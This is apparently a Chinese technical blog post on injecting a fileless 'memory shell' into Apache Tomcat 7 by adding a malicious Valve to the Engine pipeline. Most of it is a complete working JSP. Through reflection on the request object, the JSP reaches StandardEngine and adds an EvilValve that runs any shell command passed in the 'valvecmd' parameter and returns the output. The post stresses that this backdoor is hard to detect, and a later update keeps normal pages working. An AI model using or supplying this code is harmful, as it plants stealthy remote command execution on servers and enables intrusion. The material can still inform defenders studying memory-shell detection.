由于Valve并不以实体文件存在,深入容器内部不易发现,且又能执行我们想要的代码逻辑,是一个极好利用点。如果Valve插到最顶层的container也就是Engine,则会对Engine下的所有的context生效。
源码分析
版本:apache-tomcat-7.0.109
目的
已知真正处理请求的地方在CoyoteAdapter的service()方法,其中会调用StandardEngine的getPipline()方法获取其pipeline,随后获取pipeline中第一个valve并调用该valve的invoke方法。
跟进上面源码调用的invoke()方法:
StandardEngineValve继承于ValveBase类。
我们的目标是创建一个Valve并插到最顶层的container也就是Engine。
可以考虑实现一个继承于ValveBase类的evilValve实例,并将该实例添加到Pipeline。
添加Valve
已知通过server.xml会注册一个日志记录的Valve,可以通过它看看如何注册Valve。
AccessLogValve也是继承于ValveBase。看上去只需要两步即可完成Valve的添加。
可回想起前面也调用了getPipeline()方法,对象是StandardEngine。
因此实现步骤可进一步拆解为:
- 创建ValveBase的子类EvilValve,创建实例evilValve。
- 获取StandardEngine对象,调用addValve()方法添加evilValve。
获取StandardEngine对象
这里是jsp文件中通过request对象获取StandardEngine对象的方式,即可以通过反射获取到最后一个变量container。
((StandardService)((ApplicationContext)((StandardContext)((Request)((RequestFacade)request).request).context).context).service).container
或者先调用一次方法getServletContext()方法再反射获取,也是一样的:
实现
- 创建ValveBase的子类EvilValve,创建实例evilValve。
- 通过反射由request获取StandardEngine对象。
- StandardEngine调用addValve()方法添加evilValve。
测试环境:apache-tomcat-7.0.109
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.core.StandardEngine" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();
ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context");
StandardService stdSrv = (StandardService)getFieldValue(appCtx, "service");
StandardEngine stdEng = (StandardEngine)getFieldValue(stdSrv, "container");
EvilValve evilValve = new EvilValve();
stdEng.getPipeline().addValve(evilValve);
out.println("注入valve成功!");
%>
<%!
public class EvilValve extends ValveBase{
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmder = request.getParameter("valvecmd");
String[] cmd = new String[]{"/bin/sh", "-c", cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
String result = sb.toString();
response.getWriter().write(result);
} catch (Exception e) {
System.out.println("error ");
}
getNext().invoke(request, response); //20210628-Update
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
return f.get(obj);
}
%>
20210628-Update:
代码在测试中发现会导致正常业务页面响应异常,排查发现遗漏了getNext操作。